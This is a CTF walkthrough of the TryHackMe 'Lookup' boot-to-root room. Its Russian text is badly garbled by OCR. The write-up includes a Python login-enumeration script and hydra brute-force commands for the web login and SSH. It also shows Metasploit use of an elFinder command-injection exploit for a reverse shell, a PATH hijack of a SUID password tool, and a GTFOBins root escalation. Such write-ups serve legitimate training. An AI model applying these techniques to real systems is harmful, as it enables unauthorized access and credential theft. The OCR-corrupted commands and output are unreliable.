Bonkcpy

¢/ WcnonHuutensb

TecTnpoBaHue BbinosiHeHO KpaBuoBbiM Hukonaem, HaYMHaoLWyiM creuuanmcTom no
MHpopMaumoHHon 6e3onacHocTn B 13:51 (OyeHb npocmasi KoMHama, nodxoosim 0ns
HayuHarwux, HO yxe 0080JIbHO XOpowo 3Harwux eeb crieyuanucmos). B aToT pas s
pewmn yopaTtb NopsaokK UCMOoSb30BaHHbIe CryXObl M HAWAEHHbIE YS3BUMOCTW.

Ucnonb3oBaHHble hannbi:

user.txt - corar.

root.txt - dorar.

PY.pPY - MOUCK HYyXXHbIX UMEH nonb3oBatend, aby3nm owmbky paspaba :)
id - (penkoBas komaHga AN NofydeHusa hanna ¢ napossMu.

passwd - TOT caMbli ¢bairn ¢ NaponAMn, KOTOPbIA Mbl CKOMUPOBaSW.
NMopsapok aencreBnn:

1) 3anyck openvpn ans goctyna; kex ans toro, 4toobbl caenatb linux
yaoOHee

kex ——win && sudo openvpn Kolya080808.ovpn

2) CkaHupoBaHMe NOPTOB C NOMOLL LI nmap.

PesynbTaTbl:

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.2pl1 Ubuntu dubuntu@.9 (Ubuntu Linux; protocol
2.0)

| ssh-hostkey:

| 3072 4u:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:Uc:2e:04 (RSA)

| 256 0a:uUb:b9:b1:77:d2:48:79:fc:2f:8a:3d:64U:3a:ad:9ud (ECDSA)

|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

| _http-title: Did not follow redirect to http://lookup.thm



| _http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

3) 3anyck Gobuster ona noucka QUMPEKTOPUMN.

PesynbTaTh!:

Hu4yero He pano.

4) T. K. HU4ero nHTepecHoro gobuster He Hawen, s nowesn cMOTpeTb
Ha cam cawur:

PesynbTart:

T LEEHEEED

Login

5) 4 nonpo6oBan pa3Hble MMeHa Nnonb3oBaTesiu U Naposin, HO
TWeTHO. 3aTO A OOHapPYXWUs, YTO Npu BBOAE UMEHU Nnonb3oBaTens
"admin" oH BbiIBOAUT He "HenpaBusribHbIA NOrMH UNK Naporb”, a
"HenpaBunbHbIM naponb". [03TOMy 1 Ha4an 3aHyMepauuo
nonb3oBaTeNien ¢ NOMOLLbLIO BOT TaKOro CKpunTa:

Haxopaka:

Wrong possword. Mleass try agoin.
Rudirvecting in 3 sechnds

Wrong username or password. Please try again.
Redirecting in 3 seconds
e



CkpwunT:

import requests
url = "http://lookup.thm/login.php"
wordlist = "/usr/share/seclists/Usernames/Names/names.txt"

try:
with (wordlist, "r") as f:
for line in f:
username = line.strip()
if not username:
continue
data = {
"username": username,
"password": "asdasdasd"
}
response = requests.post(url, data=data)
if "Wrong password" in response.text:
print(f'username found: {username}')
elif "Wrong username" in response.text:
continue
except requests.RequestException as e:
print(f'An error occured: {e}')

PesynbTtar:
Username found: admin

Username found: jose

6) K coxaneHuro nonb3oBaTesnifl jose MHe NpULLIIOCb NOACMOTPETL B
BOJICKpPY, MOTOMY 4YTO Oblsla CIMIUKOM Aoriraa aHymepauusa. Tenepb
Mbl MOXeM noaobpatb Naposb ANA Nofib30BaTens jose C NOMOL b
rmapbl:

KomaHnpa:

hydra -1 jose -P ../rockyou.txt lookup.thm http-post—form
"/login.php:username="USER"&password="PASS" :Wrong" -V



PesynbTart:

[ATTEMPT] target loo login "jose” - p
z - _ pass _

[Be][http C login: Jpse password:

1 of 1t et succes completed, 1 valid password found

Hydra (http fgithub.com/vanhauser-th the-hydra) finished at

7) 3axoaum B naHenb ynpasrieHusi, no6asnas B ¢aun /etc/hosts
HOBbIN CabgoOMeH, U CMOTPUM, YTO MOXHO caenaTtb:

Pesynbrar:
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8) 3aryrnus, a1 Hawen CVE-2019-9194 n ncnonb3oBan ero B
MeTacnsioute AnA nony4deHus reverse shell:

Pesynbrtar:

pp/elfinder_php_connector e n_cmd_injection):

Required Des

for outgoing con
ath to elFinder
tual host

LHOST 2,145 e en addr (an interfac be specified)
LPORT

Exploit

w the full module info with the ] r » -d command.

msf6 exploit(

p)
7

ge (40004 by
gLmIjm.php

r session 1 opened (10.9 10.10.129.217:51644) at 2 g +8300



https://www.exploit-db.com/exploits/46481

9) Nanee s pewinn NOCMOTPETb, Kakue pamnbl Mbl MOXeM
Ucnonb3oBaThb ANA NOBbIWEHUA NMPUBUIIErn, U oAUH MHapbL MeHA
3aMHTepecoBan:

PesynbTtar:

fusr/bin/chsh
uarfbinfep4sswd

‘usr/bin/su

g fusr/bin/sudo
20/1950/usr/bin/umount
u;xr11b3dbu -1.8/dbus-daemon-Tlaunch-helper
lib/openssh/ssh-keysign
‘u;xrblnfchfn

‘u;xfblnfﬁpasswd
u;:rblnfmounT
‘ust/bin/
J1974/usr/bin/pa
/1974 /usr/bin/su
fquqfu;IIbinf,udo
u;:;bln;umounT
11b1dbu5—1 Ofdbu; emon-Llaunch-helper

FATES 1nr+u591mounT
fusr/bin/ 1s swd
Jusr/bin/chfn
Jusr/bin/sudo
Jusr/bin/chsh
Jusr/bin/passwd
Jusr/bin/mount
Jusr/bin/su
Jusr/bin/newgr
Jusr/bin/p
Jusr/bin/umount
Lookup: /home/think$ /usr/sbin/pwm
Jusr/sbin/pwm
['] Funnln? 'id" command to extrac : ername and user ID (UID)

passwords not found
Lookup: !hcmﬂfThln?$ echo $PATH

10) NMoHnmasn, 4yTo aenaet 3ToT hann, 1 nogmeHun cdann /usr/bin/id
Ha CBOM M NOMy4Yun AOCTYyN K CNUCKY naponen nonb3oBartensa think:



PesynbTart:

chmod +x 1d
www-dataflookup: /tmp$ ./id
./id

uid=33(think) gid=33(think) groups=33(think)
waw-datad@lookup: tmp$ pwm
pwm

[!] Running 'id' command to extract the username and user ID (UID)
['] ID: think
Jjosel@ds

Joselddy

Josel@n2
josel@@lteles
Jjosel@@loe

Jjosel@oal

joseld.asd

Jjosel@+

josed_@7

Jose@99a@

Jjosed986%
Jose@98130443
Jjose@981

jose@924

Jjose@923

Jjose@921

thepassword
jose(1993)
jose'sbabygurl
josefvane

joseftakie
josefsamantha
josedpam

josedjlo
josefjessica
josefjessi
josemario.AKA( think)
jose.medina.
jose.mar
jose.luls.24.o0ct
jose.line
jose.leonardol@®
jose.leas.3@
jose.ivan

jose.122

jose.hm

jose.hater

11) lenasa npocton nepebop naponen A 3awen no ssh n npouutan
user.txt:

PesynbTart:

)~ [~/lookup
hydra -1 think -P passwd lookup.thm ssh
dra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these »*» ignore laws and ethics anyway).

ydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-01-09 13:38:24

ARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
PATA] max 16 tasks per 1 server, overall 16 tasks, 49 login tries (1:1/p:49), ~4 tries per task

PATA] attacking ssh://lookup.thm:22/

22])[ssh] host: lookup.thm login: think password: josemario.AKA(think)

of 1 target successfully completed, 1 valid password found

ARNING] Writing restore file because 3 final worker threads did not complete until end.

ERROR] 3 targets did not resolve or could not be connected

ERROR] @ target did not complete

dra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-01-09-13:38:37




> authenticity of host 'lookup.thm (18.10.129.217)° blished.
fi rprint is SHA f OAMP9TqPADS .
nown by any other names.
It to continue conmecting (
"lookup.thm" (E 19)
| ra:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_

2lp.ubuntu.com
c M
advanta

4 AM UTC

Expanded Security Maintenance for Applications is not enabled.

7 updates can be applied immediately.
To see these additional updates rum: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https fubuntu. com, m or run: sudo pro status
The list of available updates is more tham a week old.

To check for new updates run: sudo apt update

Last login: Sum May 12 12
kup:~$ cat user.txt

5fb&dd8baa2b2@39%ac

12) lanee ANA NOBbIWEHUA MPUBUIIErN 1 NPOCMOTPEN C MOMOLL LI
sudo -1 4YTO MOXeT caenartb nonb3oBartensb think ot root, u Hawen
komaHay find:

PesynbTtar:

for think on loc
t, mail_badpass, secure_path=/usr/local/sbi

User think run the following commands on lookup:
CALL) /bin,

13) Hy n ¢ nomowibio GTFObins npoyen root.txt:

Pesynbrar:

Jroot/root.txt

NMpumeyaHune


https://gtfobins.github.io/gtfobins/look/

/ MNpumeyaHue

KomHaTa npocTas, HO BbIHIOXMBATb YTO MOXHO cAenatb Hago Aonro. MHe noHpaBuiack, HO
S MOr caenaTb 1 GbIcTpee, ecriv Bbl cpasy MOHSAS, YTO C MOUM CKPUNTOM ByaeT o4eHb JOSro
nckaTb jose))

Cnacwubo TryHackMe 3a komHaty!

Buaoeo BbINOMTHEHUA

OpwvirmHan:

Lookup

Testyour enumeration skills on this boot-to-root machine.

«il Easy © 60 min

To access material, start machines and answer questions you need to join this room! Join Room
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https://youtu.be/gUQX0dsoVi4

